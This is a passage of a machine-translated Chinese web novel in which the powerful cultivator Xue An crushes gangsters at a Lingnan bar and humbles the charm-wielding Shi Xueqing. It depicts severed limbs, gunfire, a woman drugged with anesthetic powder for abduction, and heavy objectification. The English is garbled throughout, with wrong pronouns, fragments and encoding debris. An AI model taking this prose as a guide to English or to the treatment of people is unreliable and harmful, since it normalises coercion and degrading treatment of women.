    But when she learned that the sword fairy of the Yu family had been killed, she couldn''t help being shocked.


    That''s why I came to Lingnan early, planning to investigate the details of the man who killed the sword immortal.


    After drinking half a glass of wine, Shi Xueqing opened the door of the room and walked to the stage.


    is gradually quieting down in the noisy hall.


    The men looked at her with stunning and enchanting eyes.


    Shi Xueqing took a deep breath, she liked the taste.


    A taste called desire.


    The more in such an atmosphere, the stronger her strength.


    As everyone watched, Shi Xueqing skillfully and elegantly prepared a glass of wine, and then drank half of it by herself.


    "Now, who wants to drink this glass of wine?" Shi Xueqing said lightly.


    "Me!" "I''ll drink!" "I want it!"


    The man below went crazy, began to scream crazy, and gradually evolved into a melee.


    Even the friends who came together, started to fight each other with red eyes.


    Amidst this chaos, a faint smile appeared on Shi Xueqing''s mouth.


    That night.


    When walking in the Lingying Palace of Fanjing Mountain, Xueqing appeared in Lingnan Purple Night Bar and caused a sensation.


    When Yu Ran walked into the house, she saw Xue An sitting on the sofa watching cartoons with her two daughters.


    There is a scene of love and warmth, which makes Yu Ran a bit wrong.


    Is this still the man who kills decisively?


    Seeing her coming in, Xue An just looked up, then smiled and nodded, "Sit down!"


    Yu Ran sat aside in a complicated mood.


    She was at a loss during this time.


    The Yu family suffered this great change, and the unity that was originally united is gradually disappearing.


    Yu Ran also suffered a lot of rumors.


    In particular, many of the foreign branch members secretly accused her of leading Xue An to the Yu family, which eventually led to an uncontrollable situation.


    This makes Yu Ran feel very wronged.


    But she has no way to explain.


    Such a tangled mentality made her stay at the Yu''s house very awkward.


    had no choice but to hang out all day, or just to see Xue An.


    At this moment, Ma Cheng happily walked in from outside.


    "Mr. Xue, there is a news outside that is making a sensation now!"


    "what news?"


    "I heard that a beautiful woman came to the Purple Night Bar last night, which caused a fight among the drinkers!" Ma Cheng said with a sigh.


    Xue An raised an eyebrow, "Oh?"


    "Hey, I heard that this woman is so charming." Ma Cheng said excitedly.


    Men, when talking about beautiful women, they basically have this expression.


    But Xue An looked calm and just nodded.


    "Got it!"


    "Mr. Xue, how about tonight... let''s go and see?"


    Yu Ran''s heart tightened and looked at Xue An.


    He probably won''t go! After all, with children....


    But Xue An smiled, then nodded, "Okay!"

 Chapter 136： Purple Night Bar

    Purple Night Bar is located in the bustling area of ??Lingnan city center.


    After Xue An arrived here, he found that the front door was full of luxury cars of all colors.


    Ma Cheng introduced gallantly: "Mr. Xue, this is the Purple Night Bar. Tsk tsk, although there are many luxury cars here, there are not as many as today. It seems that the power of beautiful women is amazing!"


    Xue An nodded nonchalantly. Just as he was about to go in, he heard a voice behind him.


    "Yeah, isn''t this Manager Ma?"


    The voice is full of sarcasm, which makes people feel very annoying when they hear it.


    Ma Cheng turned his head and saw a man with a dazzling appearance and arrogance standing not far away.


    A trace of embarrassment and panic flashed across Ma Cheng''s face, then he lowered his head and smiled with him: "It turned out to be Manager Cui Qi Cui, but he didn''t pay attention just now."


    Cui Qi nodded proudly, and then said in a sarcasm: "Why, is Manager Ma planning to come over and join in the fun?"


    "Hehe, I just accompany someone to take a look!" Ma Cheng said with nodding and bowing.


    Cui Qi sneered slightly, looked at Xue An on the side, and Yu Ran, who was standing in the shadow behind Xue An.


    After discovering that Xue An was dressed in ordinary clothes and was not a big or young man, he couldn''t help but raised his face and walked into the bar with an arrogant expression.


    Ma Cheng only sighed in secret, and then quietly explained to Xue An: "This Cui Qi is the main competitor of our Qin family in Lingnan''s business, and this person is very powerful."


    Xue An nodded lightly, "Are you afraid of him?"


    A trace of embarrassment appeared on Ma Cheng''s face, "This...When I first came to Lingnan, I once offended him, but after a lot of effort, it was calmed down."


    Xue An smiled and stepped inside.


    This Purple Night Bar is worthy of being the No. 1 bar in Lingnan. Both the equipment and the interior layout are of first-class level.


    There are usually a lot of people here, and there are more than twice as many guests today.


    Almost all the people who came, looked at the woman behind the bar not far away from time to time.


    The woman wore a strapless dress, her delicate collarbone looked so seductive under the shaking light.


    And the thing that keeps a man unable to move his sight the most is the seeming smile on the woman''s face.


    No matter what angle you look at, it seems to be smiling at you, making people''s hearts beating for a while.


    At the moment, the woman is smoking a cigarette, her posture is so graceful that she feels so beautiful.


    Ma Chengdu was dumbfounded, and after a full ten seconds, he exclaimed: "It''s so beautiful! No wonder it can cause a commotion. If it were me, I wouldn''t be able to control it."


    Xue An''s eyes were quite playful at this time, and he smiled faintly, "Is it beautiful? I think it''s normal!"


    As soon as he said this, Cui Qi sneered on the side, "It''s really a soil bun who has never seen the world."


    Then Cui Qi looked at Ma Cheng and said, "What? Toad wants to eat swan meat? Just because of you, you still want to go up and have a conversation?"


    Ma Cheng was embarrassed and didn''t know how to respond.


    Xue An raised his eyebrows slightly at this time, "Oh? Then you mean, you are not a toad?"


    Cui Qi sneered: "No, it''s not that people like you have the final say. Although this woman only came last night, she already has the nickname of Leng Rose, and most people are indifferent when they strike up a conversation, but I think , That''s because they didn''t use the right method!"


    As Cui Qi walked forward with fiery eyes, he came to the front and back of the woman, his eyes became more and more greedy.


    Looking closer, this woman is so beautiful that she stops breathing.


    Especially that flattering attitude, it is really itchy.


    thought in his heart, Cui Qi sat down very gentlemanly, then snapped his fingers at the waiter.


    "Open a bottle of the most expensive wine, beautiful woman, worthy of the best wine to accompany you!"


    The waiter heard the words and opened a bottle of Royal Salute quickly. After pouring two glasses, Cui Qi picked up a glass and said with a smile: "This beautiful lady, is it an honor to invite you for a drink?"


    Of course this woman is Shi Xueqing.


    She raised her head to look at Cui Qi, and then the corners of her mouth raised, revealing a slight smile.


    Cui Qi is overjoyed.


    Many people approached each other, but they never saw a smile.


    It seems that I succeeded in moving this woman.


    When ���� was proud, Shi Xueqing took the wine glass, shook it, and then slammed it out.


    Cui Qi was caught off guard and was splashed with drinks on his face.


    Then Shi Xueqing faintly said a word.


    "Go!"


    Cui Qi''s face was gloomy and terrible, his eyes flickering, staring at Shi Xueqing.


    Shi Xueqing took a puff of cigarette at this time, spit it out, and then said coldly: "Did you not hear what I said? Get out!"


    Cui Qi stood up, turned and left with a green face.


    Many people had expected this to happen.


    After all, from the beginning to the present, there have been no fewer than forty people who approached Shi Xueqing.


    Twenty-one of them were splashed with alcohol, ten of them were smashed, and the rest fled in Shi Xueqing''s cold eyes.


    In short, this woman is terrible When it''s hot, it''s like last night, making everyone crazy.


    When it''s cold, it''s like an immortal iceberg, people dare not even get closer.


    At this moment, another figure slowly walked towards the bar.


    Many people sneered slightly, and said in their hearts that there was another murderer.


    while Ma Cheng and Yu Ran stared at them.


    Because it was Xue An who walked over.


    Among them, Yu Ran was the most shocked.


    So... Does he like this type of woman?


    Cui Qi also saw this scene and couldn''t help but sneer slightly.


    seems to see Xue An''s embarrassed appearance after a while.


    Xue An walked to the bar, sat down casually, did not speak, but quietly looked at this time Xueqing.


    Today''s Xue An is already a half-step dispersal of immortals, and his own breath can be perfectly controlled. When his essence is restrained, he is just like an ordinary person, and there is no difference in it.


    When Xueqing was seen, she frowned slightly, and raised her eyes to meet Xue An''s eyes.


    Shi Xueqing couldn''t help but startled.


    What kind of eyes are these?


    is pure and clear, and at the same time with a touch of aloft, like an emperor.


    She couldn''t help being stunned.


    And Xue An smiled faintly at this moment, "Would you like me to have a drink? A descendant of the hidden world fairy gate?"


    These words sounded like thunder, which exploded in Shi Xueqing''s ears.


    Her eyes became sharper than the blade, "Who are you...?"


    At the same time, Shi Xueqing made all the preparations.


    Xue An smiled slightly, revealing two white tiger teeth, "Don''t be nervous, because it''s useless for you to be nervous. If I want to kill you, you are dead now!"

 Chapter 137： Suo Po Yan Huo

    Shi Xueqing was shocked, and then a look of horror appeared on his face.


    Because at this moment, Xue An''s momentum suddenly increased.


    It was a powerful aura like the vast ocean, which made people moved.


    But it only lasted for a moment, and then Xue An recovered calm, as if it had just been an illusion.


    Shi Xueqing tried his best to restore her calm, and her eyes flowed like silky eyes and said: "Okay! But the wine here is too ordinary, let me make a glass for you!"


    Talking, Shi Xueqing stood up and started to make a cocktail for Xue An himself.


    This scene made everyone stunned.


    what happened?


    How come this man stepped forward but was not blasted away, but made a drink for him himself?


    Cui Qi''s eyelids jumped wildly, and his angry face turned blue.


    As for Ma Cheng, he exclaimed at this moment, admiring Xue An more and more in his heart.


    It seems that Mr. Xue not only has a strong cultivation base, but he is also so good at dealing with women.


    There is only Yu Ran, looking sadly, especially after noticing Shi Xueqing''s every move, she feels that she is not a woman compared to her.


    No wonder Xue An never looked at himself more these days.


    At this time, Xueqing made the wine and poured a glass to Xue An.


    Xue An took it over, looked at the amber wine in the glass, and took a sip.


    "What''s the name of this glass of wine?"


    Shi Xueqing looked at Xue An and slowly said, "I call it, Ye Rose."


    "Night Rose..." Xue An shook his head, "I think it is more suitable to be called Suo Po Yan Huo."


    "Sao Po Yan Huo..." Shi Xueqing muttered to herself, her expression seemingly lost.


    Xue An went on to say: "The so-called Qi Sao Po, blazing fire, doesn''t it match up with your charming charm like the bones of nature?"


    Shi Xueqing''s expression changed a lot, and she just wanted to say something.


    Xue An waved his hand and said faintly: "I smelled a familiar smell outside the bar. It''s just strange. As a human, why do you smell like a fox demon?"


    Shi Xueqing was finally shocked.


    Who is this man?


    Why are all his details not a secret in his eyes?


    "Let me guess, is it a fox fairy? What a strange sect!" Xue An said, taking another sip of wine.


    Shi Xueqing finally turned upright at this time, and said respectfully: "When Xueqing walked in the Lingying Palace of Fanjing Mountain, I would like to ask you my first name!"


    Xue An said lightly: "My name is Xue An!"


    Xue An.......


    Shi Xueqing suddenly rounded her eyes.


    Xue An nodded, "Yes, that''s the Xue An who killed Yu Yuanyi!"


    Shi Xueqing was crying in her heart at this moment.


    If he knew that this person was so powerful, he would not say anything to expose his behavior.


    Xue An smiled, "Don''t be afraid, I said, I won''t kill you! I''m just a little curious about you."


    Shi Xueqing lowered her head, "The little gentleman has a mastery, and the little woman is finally convinced!"


    As he said, Xue Qingying bowed down.


    That elegant posture made many men''s saliva flow out.


    But Xue An didn''t even lift his eyelids, but said faintly: "I said, your charming tricks are of no use to me!"


    Shi Xueqing looked pitiful, "Mr. Xue, I didn''t deliberately use it, but this charming technique has become one with me."


    And Xue An smiled non-committal.


    When he heard Ma Cheng talk about it at home, he probably guessed something. After all, if he was an ordinary person, no matter how beautiful he was, it would not be possible to cause such a large-scale commotion.


    The only possibility is that someone with a charm is playing tricks in it.


    as predicted.


    Outside the bar, Xue An could smell the fox demon.


    The reason why he is so sensitive to this smell is that when Xue An traveled through the heavens, he was chased by a nine-tailed celestial fox in the Qingqiu fox world for hundreds of years.


    Xue An was still a little excited, thinking it would be a fox demon.


    It turned out to be an individual.


    At this time, Xue An put down his wine glass and said faintly: "You are full of charm, but unfortunately, the practice of this charm technique is so bad that it just floats on the surface."


    Shi Xueqing gradually rounded his eyes, then looked at Xue An.


    "Mr. Xue...you..."


    "I happen to have a friend who is a fox fairy!" Xue An smiled slightly.


    Shi Xueqing was shocked.


    Just then, the door outside was kicked open, a group of shirtless men filed in, and then a man with one ear missing slowly walked in.


    When I saw this man, many people in the bar were all discolored.


    "Cui Que, it''s Cui Que!"


    "It''s over, it''s over, this Cui Que is very vicious and vicious, so why did he come?"


    Amidst these discussions, Cui Qi was overjoyed and rushed forward.


    "Cousin!"


    It turns out that Cui Que is Cui Qi''s cousin.


    Cui Que glanced at him, then focused all his attention on Shi Xueqing.


    After a few glances, Cui Que''s eyes were full of greed and possessiveness.


    "Wang Bao, a bastard, really has the ability, where did I find such a stunner, tusk! This waist, this ass!" Cui Que tut was surprised, his words were very vulgar.


    But no one dared to say a word.


    In Lingnan, who does not know the name of Cui Que. This is a cruel person who can stop crying at night.


    Shi Xueqing frowned slightly, and then Wang Bao greeted him blankly.


    "Please leave here!" Wang Bao Machinery said.


    "The surname is Wang, okay, he is not small, I have nothing else to do today, I just want to borrow this girl from you for two days, and then I will pay you back, how about?"


    Wang Bao is now under control of his entire mind, looking like a fool.


    Cui Que frowned, "Damn, if you don''t speak, it''s acquiescence! Brothers, go!"


    These people swarmed up and drove the others to the corner.


    and Cui Que walked over with a smile. UU Reading www.uuk��nshu.com


    There was a trace of disgust on Xueqing''s face.


    But Xue An just sat there, still drinking slowly.


    "Little girl, let''s go with your brother, go over there for a delicious and spicy drink, to ensure you have a good time!" Cui Que laughed.


    Shi Xueqing yelled coldly: "Hurry up when I''m not angry!"


    Cui Que was taken aback, his expression gloomy, "Damn, shamelessly!"


    said and jumped on it.


    Xue An still did not move, but watched quietly.


    Shi Xueqing certainly didn''t take this Cui Que seriously.


    She is also a walker in Lingying Palace anyway, and dealing with a local ruffian is not easy.


    can be just a moment of negligence.


    Cui Que suddenly threw a handful of powder.


    The powder has a strange fragrance.


    Shi Xueqing hadn''t figured out what was going on, she felt soft all over, and couldn''t even lift her hands.


    Cui Que smiled at this time, "Damn, I knew you could do some work, but this is an anesthetic used in the zoo, and the elephants can be numb, not to mention you little girl with delicate skin and tender meat!"


    Cui Queyin smiled and stepped forward, preparing to drag Shi Xueqing away.


    Shi Xueqing looked at Xue An with pleading and desperate eyes.


    Cui Qi sneered at this time.


    In his opinion, Xue An is still silent, which is cheap.


    Otherwise, my cousin must let him know what is awesome.


    Just when Cui Que''s hand was about to touch Shi Xueqing''s shoulder.


    Xue An said faintly: "Drink your glass of wine, then you can use it as wine money!"


    said, Cui Que''s hand suddenly broke with his wrist.


    Blood rushed, staining the floor and the eyes of Cui Qi and others.

 Chapter 138： Yes, I am the person you think

    Cui Que first looked down and then screamed, "Ah ah ah ah..."


    The screaming screams made everyone horrified.


    But this Cui Que is indeed a ruthless person. He took the remaining hand from his arms and took out a homemade gun.


    "I''m going to kill you! I''m going to chop you into meat sauce!" Cui Que roared hideously.


    As Cui Que pulled the trigger.


    bang bang bang.


    Several deafening gunshots shook the entire bar.


    The gunpowder is full of smoke, and many people close their eyes and say their hearts.


    This man is dead.


    Cui Qi sneered triumphantly.


    Dare to offend my cousin in Lingnan?


    I really don��t know how to write dead words.


    But just before the gunpowder smoke cleared, a faint voice came out.


    "So the gun is only so powerful? It''s too slow!"


    Following the voice, Xue An slowly walked out of the darkness, lifted his palm, and slowly released it.


    The yellow bullet fell from his palm, making a few crisp noises.


    This scene made Cui Que and the others stunned.


    Hand catch the bullet?


    Is that human being?


    "Quick! Call someone!" Cui Que immediately commanded when the situation was bad.


    Xue An was not in a hurry, still sitting back where he was, watching Shi Xueqing limp on the bar, his face full of grief and anger, and smiled slightly.


    "It seems that your Lingying Palace has to study how to deal with anesthetics in the future."


    ''S words made Shi Xueqing even more embarrassed and angry.


    Walking as a dignified hidden world fairy gate, he was almost killed by a gangster.


    If such a thing spreads out, it can almost laugh off people''s teeth.


    At this time, Ma Cheng leaned over and said nervously, "Mr. Xue, let''s go quickly! They are calling people!"


    Xue An shook his head, "Go? Why do you want to go? Isn''t it better to see the excitement?"


    The atmosphere in the bar fell into a strange silence.


    On one side, the pale Cui Que stared at Xue An, and on the other side, Xue An was drinking slowly, without any expression on his face.


    Many timid people are already sneaking away.


    But there are courageous ones, watching the excitement from a distance.


    "Who is this person?"


    "I don''t know, it looks amazing."


    "I guess he is not a local, he is still too young. This Cui Que is not so easy to mess with, but Wu Xiu is behind him!"


    "Shhh, keep your voice down, people are coming!"


    Just in the midst of the discussion, a messy footstep came from the door bowl, and then there was a sound like a bronze bell.


    "Who dares to bully my people?"


    Following the voice, a man who was more than two meters tall and burly like a mountain walked in.


    "It''s Hao Batian, the owner of Lingnan Jinlongwuguan!"


    "This is over, this man probably won''t survive tonight!"


    Many people whispered.


    But Cui Que and Cui Qi both looked happy and rushed over.


    "Master Hao, this guy actually cut off my wrist! And he is not a local, please let Master Hao give me the charge!" Cui Que cried.


    "Yes! There is also this woman, who is not a good person. It is estimated that where is the enchantress, please beg the master Hao to clean up!" Cui Qi added fuel and jealousy.


    Hao Batian didn''t care.


    In Lingnan, although the Yu family ranked first with an undisputed advantage.


    But because the conditions for entering the Yu''s house are too harsh, there are still as many martial arts halls as stars in the private sector.


    And he, Hao Batian, is one of the best.


    At the age of forty, he has entered a happy life, and such strength is enough to be proud.


    And Cui Que and others, relying on his strength, dare to be so arrogant in Lingnan.


    After hearing what the two said, Hao Batian nodded with a sneer, "Okay, don''t worry, I will give you justice."


    As he said, he turned his head to look.


    The first thing I saw at first sight was Shi Xueqing, who was limp at the bar.


    Then he was stunned.


    This woman is so beautiful!


    Hao Batian''s breathing became heavy.


    Cui Que also saw the clues at this time and rushed forward and whispered: "Master Hao, I have inquired about this woman who came to Lingnan yesterday and has no foundation in Lingnan. You can do whatever you want after you bring it back. "


    A triumphant smile flashed in Hao Batian''s eyes, and he said with a serious face: "It really is a demon girl. I will bring it back to the museum in a while. I will check it myself!"


    But as soon as he finished speaking, there was a chuckle.


    "Who? Who is laughing?" Hao Batian was full of anger.


    At this time, Xue An said faintly: "It''s a good one to check in person, this museum owner is so prestigious!"


    Hao Batian turned his eyes and noticed Xue An who was sitting on the side.


    He frowned slightly, then his face was full of disdain.


    Because Xue An��s current momentum is no different from ordinary people.


    "Who are you? You dare to talk to me like this?" Hao Batian asked coldly.


    "Master Hao, this person cut off my wrist!" Cui Que said bitterly.


    Hao Batian narrowed his eyes slightly, killing intent in his heart.


    But at this moment, Yu Ran, who had been silent for a while, stepped into the field and said coldly: "Hao Batian, you acted like this in Lingnan. Have you ever asked our Yu family?"


    These words sounded like thunder in everyone''s ears.


    Yujia.......


    That is a fairy-like existence in Lingnan Hao Batian didn''t care at first, but after a closer look, he was stunned.


    At this time, Cui Qi sneered: "The Yu family? What are you dare to call the Yu family?"


    As soon as the voice fell, Hao Batian slapped Cui Qi to the ground.


    Cui Qi was stunned, looking at Hao Batian, just about to talk, the next scene stunned him.


    I saw a humble smile on Hao Batian''s face, he bent down and said flatly, "Yu...Ms. Yu, why are you here?"


    Miss Yu?


    How many Miss Yu are there in Lingnan?


    Cui Qi and Cui Que shook all over, then their faces showed extreme horror.


    And Yu Ran looked at Hao Batian with a cold expression.


    "Why can''t I be here?"


    Hao Batian is about to cry.


    He really didn''t notice Yu Ran here, if he knew it, he wouldn''t dare to be so domineering in fright.


    But now it''s too late to say anything, he can only tremble: "Miss Yu, I... I didn''t mean that... I just now."


    "Then what do you mean?" Xue An stood up at this time, walked to Yu Ran''s side, and looked at this Hao Batian.


    Hao Batian gritted his teeth secretly, where did this kid come from? Dare to do my thing? I will tear you up in a while!


    Before he could speak, Yu Ran had already stepped back and said respectfully: "Mr. Xue, Lingnan has such scum, it is really our Yu family''s fault!"


    Mr. Xue.......


    also made Miss Yu''s family so respectful.


    Hao Batian suddenly thought of someone, and then a look of extreme horror appeared on his face.


    "you you����."


    Xue An nodded and smiled faintly, "Yes, I am the person you think!"

 Chapter 139： Who can stand this!

    oom.


    This sentence was like a shock of thunder, which shook Hao Batian''s eyes black, his face pale as paper, and the big beads of sweat fell down like money.


    Because he knew well that in Lingnan, the Yu family could not provoke, but this man was ten times more powerful than the Yu family.


    However, Cui Que seemed to be blinded by the pain at this time, and he said with a disdainful face: "Boy, our Master Hao speaks, is it your turn to interrupt? Not yet..."


    Before Cui Que finished speaking, he felt a strong attack from behind and fell directly to the ground. When he turned his head, he realized that it was the murderous Hao Batian kicking himself.


    "Master Hao, you..."


    Hao Batian didn''t speak, his fists poured down like he didn''t need money.


    The beater Cui Quegui cried and howled.


    This scene made all the onlookers surprised.


    what happened?


    Why did this man make Hao Batian so terrified just by saying a word?


    After a while, Hao Batian stopped. At this time, Cui Que''s appearance was extremely miserable. Not only did he break a hand, but Hao Batian also smashed his mouth full of teeth.


    Then Hao Batian looked at Xue An cautiously, and said respectfully: "Xue...Mr. Xue, I don''t know Taishan, I damn, I..."


    Xue An waved his hand, and Hao Batian quickly closed his mouth.


    Then Xue An looked back at Ma Cheng and nodded to him.


    Ma Cheng was unknown, so he came forward, and Xue An pointed to Cui Qi on the ground.


    "How did he bully you in the first place?"


    Ma Cheng shocked, and said cowardly: "He...he..."


    Cui Qi was shaking all over at this time.


    Because he also remembered a rumor.


    Only the person in the rumors would be so respected by Miss Yu, and Hao Batian would be scared just by hearing his name.


    Before Ma Cheng could speak, Cui Qi had turned over and knelt on the ground, banging his head.


    "Manager Ma, no... Master Ma, I was wrong, I **** it, I don''t know you actually know Mr. Xue, please forgive me, I must double the money I owe you at that time, no! Ten times in return!"


    Ma Cheng was stunned, he hadn''t spoken yet, Cui Qi was actually afraid of this.


    And even if Cui Que was stupid, he could see that something was wrong, but now he was beaten all over his body and couldn''t move at all. He could only look at Xue An in horror, and a commotion came from his hips.


    was actually scared to pee.


    Such a scene made everyone silent.


    Many people are already quietly retreating.


    Because they also guessed the identity of Xue An.


    Except for Mr. Xue, who killed the sword immortal with his own power and crushed all the wealthy families in Lingnan...


    Who else can have such prestige?


    Xue An looked sad or happy, but looked at Ma Cheng, "Do you accept his proposal?"


    Ma Chenggang hesitated.


    Cui Qi hurriedly said: "Don''t worry, Ma, after tonight, all the markets in Lingnan will be yours. I will get out of Lingnan immediately and never come back!"


    This is a wise choice.


    Because Cui Qi is equivalent to offending Yu Jia and Xue An at the same time.


    This Lingnan has no place for him.


    Macheng nodded, "Okay... okay!"


    Cui Qi looked at Xue An with hopeful eyes,


    Xue An waved his hand, and Cui Qi was amnesty. He banged his head a few times at Xue An, then stood up, turned his head and left.


    Even his cousin Cui Que, who was lying on the ground, didn''t care about it.


    And Xue An looked at Hao Batian who had been bending down at this time, a smile appeared at the corner of his mouth, and walked over slowly.


    Every footstep made Hao Batian''s muscles tremble.


    When he walked back and forth, Xue An raised his hand and patted Hao Batian''s huge bald head lightly.


    Hao Batian was so scared that his teeth were clucking and fighting, and his body was shaking like chaff.


    "You said... how should I punish you?" Xue An said calmly.


    "You are a martial artist, and I don''t bully you. You take a punch. If you don''t die, I will let you go. Can you agree with this proposal?"


    Hao Batian is about to cry.


    Take him a punch?


    The collapsed hill behind Yu''s house still stands there, telling people with silent facts what the consequences of receiving Xue An��s punch are.


    Hao Batian doesn''t think he can resist beating more than the mountain.


    So he was heartbroken, his eyes closed, his teeth bit...


    Both knees softened and knelt on the ground, then grinned and cried.


    "Xue...Mr. Xue, I...I know I was wrong, please give me a way out!"


    A big man more than two meters high burst into tears. The scene was shocked and funny.


    Xue An stood with his hands behind, looking at Hao Batian with interest.


    "Want to survive? Well, you rely on your own force to bully the weak, can you be convicted?"


    "Convict!"


    "When you see the color, you can tell you the crime?"


    "Convict!" Hao Batian was shaking all over.


    "Since I am guilty, then I will abolish your cultivation base, break your arms and legs, you..." Xue An stepped forward.


    "Can you be convinced?"


    Hao Batian fell to the ground like mud, and said desperately: "Convinced!"


    Xue An nodded, then kicked it out.


    This kick was like kicking a ball, kicking the huge Hao Batian directly out, smashing a wall, and then crashing to the ground.


    In the smoke and dust, Hao Batian spit out a mouthful of blood. The whole person quickly wilted, but he still struggled and said, "Thank you, Mr. Xue, for your mercy!"


    Someone dragged Hao Batian and Cui Que away.


    The bar returned to calm.


    Many people looked at Xue An with awe.


    But Xue An looked indifferent, turned back to the bar, looked at Shi Xueqing who was still lying on the bar, and said lightly: "I''m curious, when do you plan to continue to pretend?"


    Say this Shi Xueqing slowly sat up straight, with a tricky smile on her face, and then stretched her waist.


    The slender curve is undoubtedly revealed under this lazy waist, it is a perfect figure that is enough to make people spit blood.


    But Xue An did not move at all, but looked at her indifferently.


    "It seems that I can''t hide anything from you!" Shi Xueqing''s tone was poignant, and then her eyes flowed, winking like silk.


    "Moreover, in the fight between you men, I am a girl, how can I intervene? Besides, Mr. Xue, you are so brave and invincible. I saw it, only admiration, forgot to get up for a while."


    Such a soft and charming voice, such a coquettish tone, made many eavesdroppers want to lose their bones.


    Just describe it in one sentence.


    Who can stand this!


    But Xue An didn''t seem to hear him, and still looked at Shi Xueqing silently.


    Shi Xueqing was getting goose bumps all over by Xue An''s cold gaze.


    Just about to say something more, Xue An turned around and said to Yu Ran and Ma Cheng, "It''s boring, let''s go!"


    Then just left.


    Shi Xueqing''s expression was wrong, and she was full of frustration when she looked at Xue An''s back.


    In fact, when Xue An cleaned up Cui Qi, she had already recovered.


    But she decided to continue pretending, thinking that she would be able to trap this Xue An tonight.


    Unexpectedly, Shi Xueqing''s just now all the winking eyes were all for nothing.


    Xue An seemed to be too lazy to even look at her, and left without hesitation.


    Damn, is it because the old lady is getting old?


    The Bone Erosion Technique repeatedly failed on Xue An''s body, and Shi Xueqing couldn''t help but doubt herself.

 Chapter 140： Saved a dog skin plaster?

    can''t do it!


    can''t give up just because of these things.


    This Xue An, he must win over.


    Otherwise, this immortal gate conference, I must not be better!


    Especially after that nasty face appeared in Xueqing''s mind at the time, it strengthened her belief.


    There are no cats that do not steal fishy, ??and there are no men who are not tempted to meet beautiful women. Shi Xueqing has always believed in this truth.


    There must be a reason why Xue An is not interested in him at all.


    Could it be... he doesn''t like his type?


    correct!


    The eldest lady of the Yu family has been following Xue An.


    Could it be that what he likes is the kind of little girl who is in bud and has not gone?


    Thinking of this, Shi Xueqing lowered his head to look at her rugged figure, and sighed.


    Damn, for the Fairy Gate Conference, to slap that **** in the face, the old lady did it this time!


    That night, what happened at the Purple Night Bar spread at a terrifying speed.


    Jinlong Wuguan took off the sign overnight. As for Cui Que... he was hacked to death by his enemies on the way back.


    Only Cui Qi saw the opportunity and ran away that night, which is considered a life.


    After Yu Ran returned home, he was quickly called by Yu Lang.


    "Explain the process in detail, and don''t leave any details." Yu Lang said solemnly.


    Yu Ran then explained the details of the incident.


    After listening, Yu Lang frowned slightly, "Fanjingshan Lingying Palace? Isn''t this school already declining?"


    At this time, Yu Ming, who was sitting by the side, said: "Father, I recognize Xueqing at this time. At the last Fairy Gate Conference, she was defeated by me."


    "Oh? How about this person?"


    Yu Ming pondered for a moment, and then slowly said, "The cultivation level is average, and there is no too powerful tricks, but her charm technique is unparalleled. In the last Fairy Gate Conference, many disciples of the school had lost to her charm technique. It��s not that my swordsmanship is new to me, but I almost made it."


    Yu Lang nodded, and then said to Yu Ran: "Daughter, you must always follow Mr. Xue during this period. After all, the Fairy Gate Conference is about to be held. This time it will be held in Lingnan, and your brother and I are both injured. ...."


    Yu Lang did not say anything afterwards.


    But I can understand what it means.


    The Yu family has also provoked many enemies over the years, and these people cannot guarantee that they will not use the opportunity of the Fairy Gate Conference to make trouble.


    The strongest combat force has died, and Yu Lang and Yu Ming are all injured. The Yu family is now at its weakest time.


    So they can only pin their hopes on Xue An.


    Although it is ironic, it is true.


    Yu Ran nodded, "Yes, father!"


    But when I think of Shi Xueqing''s enchanting posture, I feel a little lack of confidence.


    early morning.


    As soon as Ma Cheng got up, he heard someone knock on the door.


    He was a little puzzled.


    Who came so early?


    As soon as the door opened, he was stunned by the scene in front of him.


    I saw Shi Xueqing wearing a well-used shirt, a pair of vintage jeans underneath, and a pair of white shoes. She was dressed like a girl next door, very fresh.


    "You...you..." Ma Cheng gaped.


    "Mr. Xue hasn''t gotten up yet?" Shi Xueqing smiled.


    This smile directly made Ma Cheng stunned.


    Too...so beautiful!


    But when Xueqing moved gently, walked into the room.


    At exactly this moment, Xue An came downstairs.


    looked at each other, Xue An frowned slightly.


    But when Xueqing smiled naturally, "Mr. Xue!"


    Xue An walked down the stairs, "What are you doing?"


    Shi Xueqing smiled, "I''m here to repay your life-saving grace last night!"


    "Oh? How do you repay me?" Xue An sat down with his legs on the coffee table.


    "It depends on what the husband wants? Whether it''s a good figure or a horse, I can do it!" Shi Xueqing said seriously.


    Xue An suddenly raised his head, looked at Shi Xueqing, then leaned back on the sofa, and said coldly: "No need."


    Shi Xueqing approached him very familiarly, and a pair of Rouyi began to gently knead Xue An''s calf.


    is like... the little maidservant of the landlord in the old society.


    Xue An was a little bit dumbfounded.


    Is this saving a dog skin plaster?


    With three thousand years of practice, Xue An��s heart has long been firm as a rock, so his heart is like water still, without any fluctuations.


    makes Ma Cheng look aside with envy.


    Shi Xueqing secretly rejoiced in her heart.


    It seems that I have taken this step right, this Mr. Xue is very fond of this set!


    But in the next second, her fortune disappeared.


    "It seems that you really want to repay me?" Xue An said playfully.


    "of course!"


    "That''s good! This house just needs to be cleaned up. Go and wipe the floor first."


    Ok?


    Shi Xueqing thought she had heard it wrong.


    "Remember, all the houses!" Xue An said lightly.


    Shi Xueqing recovered from the shock, and then really stood up and said to Ma Cheng: "Where is the mop, please?"


    "Uh... right there..."


    Xue An said again at this time: "wipe with your hands!"


    Ten minutes later.......


    Shi Xueqing squatted on the ground crying, wiping the floor little by little.


    He is also a descendant of Lingying Palace anyway, and now he wipes the floor for someone?


    She really can��t understand, what exactly is Xue An��s heart made of?


    A beautiful and charming woman like himself took the initiative to send it to the door, but he was not tempted!


    was complaining, a lazy child''s voice sounded from behind.


    "Dad, who is this auntie?"


    Shi Xueqing took a peek, and saw two young girls with strong aura, rubbing their sleepy eyes and talking to Xue An.


    Are these the two daughters of Mr. Xue?


    ��! I love being beautiful!


    Shi Xueqing was surprised.


    I heard Xue An say: "Oh This is a newcomer for cleaning, specializing in cleaning!"


    These words almost made Shi Xueqing spit out blood.


    Patience!


    For big things, one must endure!


    Shi Xueqing gritted her teeth, turned her head and continued to wipe the floor hard.


    at the same time.


    A man and a woman walked out from Lingnan Airport.


    Men are tall and handsome, while women are petite and soft.


    At this time, the woman smiled at the man and said: "Yuan Shao, this time the vitality of the Yu family in Lingnan is badly injured. It is estimated that you may surpass the last time and even reach the top of the jade list!"


    Yuan Zongfeng smiled proudly, and then hugged the woman, "I would like to thank you for your Yuanyin help!"


    The woman became stiff, and then smiled unnaturally: "That''s Yuan Dai''s honor."


    Yuan Zongfeng looked at Lingnan in the distance with confidence, "This Xianmen Conference will be my Yuan family''s world!"


    Kong Yuandai looked at her, feeling mixed.


    She is the descendant of Night Demon Valley, and she has practiced the magic arts.


